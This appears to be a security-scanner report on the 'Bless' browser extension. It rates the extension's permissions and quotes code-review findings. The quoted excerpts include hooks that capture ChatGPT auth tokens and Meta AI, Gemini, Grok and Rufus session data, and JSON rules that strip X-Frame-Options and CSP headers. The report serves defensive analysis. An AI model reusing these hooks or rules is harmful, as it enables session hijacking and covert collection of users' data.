Bless

Bless

ID: pljbjcehnhcnofmkdbjolghdcjnmekia

Supported Languages

🇺🇸English

Extension Info & Metadata

Status
Active
Version
0.3.15
Size
21.72 MB
Rating
3.2/5
Reviews
902
Users
100,000
Type
Extension
Updated
May 11, 2026
Category
Workflow & planning
Price
Free
Featured
No
Visibility
Listed
Mature
No
By Google
No
Trusted
Yes

Publisher Contextual Analysis

Trusted
Author
bless.networkView Profile
MX records exist
Yes
Domain exists
Yes
Is disposable
No
Is role-based
No
Mailbox exists
Yes
Website
Visit
Total Extensions
1
Active
1
Obsolete
0
Listed
1
Unlisted
0
Total Users
100,000

Email Change History

1 change
Nov 28, 2024
Screenshot 1
Screenshot 2

Bless Browser Extension

Hi! Bless is the world's first shared computer. Our extension allows you to automatically and anonymously contribute spare compute power from your device to the websites, applications and services that you use, in exchange for rewards. Instead of relying upon companies like Amazon Web Services or Google Cloud, we're creating an internet that's both powered and controlled by the people that use it. Learn more about Bless at https://bless.network/#faqs

Item
Type
Severity
Description
scripting
Permission
Critical
This permission allows injection and execution of JavaScript on any webpage. Rated Critical because it can modify page content, steal sensitive data, and inject malicious code into any site the extension has access to.
declarativeNetRequest
Permission
Critical
This permission allows the extension to define rules to block, redirect, or modify network requests. Rated Critical because it can control all network traffic, potentially blocking security updates or redirecting to malicious sites.
offscreen
Permission
High
This permission creates hidden browser documents with full DOM access. Rated High because it can run background operations invisibly, potentially executing malicious code without user awareness.
cookies
Permission
High
This permission provides full access to read and modify browser cookies. Rated High because it can steal session tokens, modify authentication cookies, and compromise accounts across websites.
Contextual Risk Factors
Risk Factor
High
The following context increases the overall risk:• 20% increase: Access to sensitive domains increases potential impact• 10% increase: Early script execution enables pre-emptive content manipulation• 25% increase: Unsafe code evaluation capabilities increase attack surface
Unsafe WebAssembly Execution
Risk Factor
High
This extension's CSP allows "wasm-unsafe-eval".
storage
Permission
Medium
This permission allows storing data locally in the browser. Rated Medium because it can persist sensitive user data, track user activities over time, and potentially store malicious payloads.
background
Permission
Medium
This permission allows continuous background operation. Rated Medium because it can perform actions without user awareness, consume system resources, and maintain persistent connections.
system.cpu
Permission
Medium
This permission provides access to CPU usage and information. Rated Medium because it can monitor system performance, detect other applications, and potentially identify user activities.
system.memory
Permission
Medium
This permission accesses system memory information. Rated Medium because it can monitor memory usage patterns, detect other applications, and gather system state information.
tabs
Permission
Medium
This permission enables tab management and monitoring. Rated Medium because it can track open tabs, access tab metadata, and monitor user browsing patterns.
https://chatgpt.com/*
Host
Medium
Host permission — access limited to this URL pattern.
https://*.google.com/*
Host
Medium
Host permission — access limited to this URL pattern.
https://www.perplexity.ai/*
Host
Medium
Host permission — access limited to this URL pattern.
https://claude.ai/*
Host
Medium
Host permission — access limited to this URL pattern.
https://grok.com/*
Host
Medium
Host permission — access limited to this URL pattern.
https://www.amazon.com/*
Host
Medium
Host permission — access limited to this URL pattern.
https://www.meta.ai/*
Host
Medium
Host permission — access limited to this URL pattern.
https://gateway.meta.ai/*
Host
Medium
Host permission — access limited to this URL pattern.
Access to Sensitive Domains
Risk Factor
Medium
This extension requests access to sensitive domains: https://*.google.com/*, https://www.amazon.com/*
Early Content Script Execution
Risk Factor
Medium
This extension runs content scripts at document_start.

Intercepts fetch requests to capture ChatGPT auth tokens, device IDs, and sentinel tokens, then sends them to the parent window for exfiltration. This allows unauthorized use of the user's ChatGPT session.

chatgpt-early-hook.js (Line 100)
if (reqHeaders.authorization) tokens.authToken = reqHeaders.authorization.replace("Bearer ", "");if (reqHeaders["oai-device-id"]) tokens.deviceId = reqHeaders["oai-device-id"];...window.postMessage(tokenData, "*");

Overrides WebSocket constructor to intercept Meta AI communication. Captures binary messages and allows sending prompts via EXECUTE_METAAI_PROMPT, effectively hijacking the user's Meta AI session.

metaai-early-hook.js (Line 200)
window.WebSocket = function(n, r) {  ...t = a;...a.addEventListener("message", (e) => {    e.data instanceof ArrayBuffer && T(e.data);  });...}

Hooks XMLHttpRequest on Gemini to parse conversation responses, extract messages, and send structured conversation data (including user prompts) to the parent window via postMessage, enabling unauthorized collection of Gemini interactions.

gemini-early-hook.js (Line 80)
const processFullResponse = (responseText, userMessage) => {  ...postUpdate(resolvedConvId);}

Overrides fetch on Grok to capture statsigId headers and sends them to the parent window, extracting identifiable session information without consent.

grok-early-hook.js (Line 15)
if (sid) window.parent.postMessage({  type: "GROK_STATSIG_ID_CAPTURED",  data: {    statsigId: sid  }}, "*");

Injects hooks into Amazon's Rufus AI service to capture CSRF tokens and conversation data, then sends them via postMessage. Also forwards API requests from offscreen frames, enabling unauthorized use of the user's Amazon session.

rufus-early-hook.js (Line 1)
window.__rufusEarlyHook__ = !0, window.parent === window ? e() : t();... function e() {  ...window.fetch = c;...}

Uses declarativeNetRequest to strip X-Frame-Options and Content-Security-Policy headers from ChatGPT subframes, bypassing security protections to allow iframing and covert data capture.

chatgpt-rules.json (Line 1)
{  "id": 1,  "action": {    "type": "modifyHeaders",    "responseHeaders": [      {        "header": "X-Frame-Options",        "operation": "remove"      },      {        "header": "Content-Security-Policy",        "operation": "remove"      }    ]  },  "condition": {    "urlFilter": "||chatgpt.com",    "resourceTypes": [      "sub_frame"    ]  }}

Strips security headers from Google subframes, enabling unauthorized iframing and potential data exfiltration.

google-rules.json (Line 1)
{  "id": 1,  "action": {    "type": "modifyHeaders",    "responseHeaders": [      {        "header": "X-Frame-Options",        "operation": "remove"      },      {        "header": "Content-Security-Policy",        "operation": "remove"      }    ]  },  "condition": {    "urlFilter": "*://*.google.com/*",    "resourceTypes": [      "sub_frame"    ]  }}

By severity

Critical2
High5
Medium0
Low0

Versions scanned

Showing 1 of 12 scanned versions with more than one unique finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
0.3.157

Files with findings

7 distinct paths — top paths by unique finding count:

  • chatgpt-early-hook.js1
  • chatgpt-rules.json1
  • gemini-early-hook.js1
  • google-rules.json1
  • grok-early-hook.js1
  • metaai-early-hook.js1
  • rufus-early-hook.js1
S.No.
Category
Severity
File
Summary
Found in Version
1Data Exfiltration
critical
chatgpt-early-hook.js (line 100)Intercepts fetch requests to capture ChatGPT auth tokens, device IDs, and sentinel tokens, then sends them to the parent window for exfiltration. This allows unauthorized use of the user's ChatGPT session.
2Data Exfiltration
critical
metaai-early-hook.js (line 200)Overrides WebSocket constructor to intercept Meta AI communication. Captures binary messages and allows sending prompts via EXECUTE_METAAI_PROMPT, effectively hijacking the user's Meta AI session.
3Network Interception
high
chatgpt-rules.json (line 1)Uses declarativeNetRequest to strip X-Frame-Options and Content-Security-Policy headers from ChatGPT subframes, bypassing security protections to allow iframing and covert data capture.
4Network Interception
high
google-rules.json (line 1)Strips security headers from Google subframes, enabling unauthorized iframing and potential data exfiltration.
5Unauthorized Data Collection
high
gemini-early-hook.js (line 80)Hooks XMLHttpRequest on Gemini to parse conversation responses, extract messages, and send structured conversation data (including user prompts) to the parent window via postMessage, enabling unauthorized collection o…
6Unauthorized Data Collection
high
grok-early-hook.js (line 15)Overrides fetch on Grok to capture statsigId headers and sends them to the parent window, extracting identifiable session information without consent.
7Unauthorized Data Collection
high
rufus-early-hook.js (line 1)Injects hooks into Amazon's Rufus AI service to capture CSRF tokens and conversation data, then sends them via postMessage. Also forwards API requests from offscreen frames, enabling unauthorized use of the user's Ama…
URLs
443
IPv4
31
IPv6
0

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

www.perplexity.ai-https://www.perplexity.ai/
webgpureport.org-https://webgpureport.org/
raw.githubusercontent.com/mlc-ai/binary-mlc-llm-libs/main/web-llm-models/https://raw.githubusercontent.com/mlc-ai/binary-mlc-llm-libs/main/web-llm-models/
huggingface.co/mlc-ai/Llama-3.2-1B-Instruct-q4f32_1-MLChttps://huggingface.co/mlc-ai/Llama-3.2-1B-Instruct-q4f32_1-MLC
huggingface.co/mlc-ai/Llama-3.2-1B-Instruct-q4f16_1-MLChttps://huggingface.co/mlc-ai/Llama-3.2-1B-Instruct-q4f16_1-MLC
huggingface.co/mlc-ai/Llama-3.2-1B-Instruct-q0f32-MLChttps://huggingface.co/mlc-ai/Llama-3.2-1B-Instruct-q0f32-MLC
huggingface.co/mlc-ai/Llama-3.2-1B-Instruct-q0f16-MLChttps://huggingface.co/mlc-ai/Llama-3.2-1B-Instruct-q0f16-MLC
huggingface.co/mlc-ai/Llama-3.2-3B-Instruct-q4f32_1-MLChttps://huggingface.co/mlc-ai/Llama-3.2-3B-Instruct-q4f32_1-MLC
huggingface.co/mlc-ai/Llama-3.2-3B-Instruct-q4f16_1-MLChttps://huggingface.co/mlc-ai/Llama-3.2-3B-Instruct-q4f16_1-MLC
huggingface.co/mlc-ai/Llama-3.1-8B-Instruct-q4f32_1-MLChttps://huggingface.co/mlc-ai/Llama-3.1-8B-Instruct-q4f32_1-MLC
Showing 1 to 10 of 450 rows
Rows per page:

Gain full insight into all external connections.

Upgrade for full visibility.

131.0.0.0
IPv4
-
1.1.1.1
IPv4
-
127.0.0.1
IPv4
-
198.51.100.14
IPv4
-
82.41.53.1
IPv4
-
0.0.0.0
IPv4
-
10.0.0.0
IPv4
-
100.64.0.0
IPv4
-
127.0.0.0
IPv4
-
169.254.0.0
IPv4
-
172.16.0.0
IPv4
-
192.0.0.0
IPv4
-
192.0.0.8
IPv4
-
192.0.0.9
IPv4
-
192.0.0.10
IPv4
-
192.0.0.170
IPv4
-
192.0.0.171
IPv4
-
192.0.2.0
IPv4
-
192.31.196.0
IPv4
-
192.52.193.0
IPv4
-
192.88.99.0
IPv4
-
192.168.0.0
IPv4
-
192.175.48.0
IPv4
-
198.18.0.0
IPv4
-
198.51.100.0
IPv4
-
203.0.113.0
IPv4
-
240.0.0.0
IPv4
-
255.255.255.255
IPv4
-
2.5.5.2
IPv4
-
123.123.123.123
IPv4
-
104.131.131.82
IPv4
-
Showing 1 to 31 of 40 rows
Rows per page:
Showing 1 to 10 of 20 rows
Rows per page:

Code Diff

Compare extension code between any two versions.

0 changed files (scanned top 25 shared text files)

No comparable text files found between these versions.

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.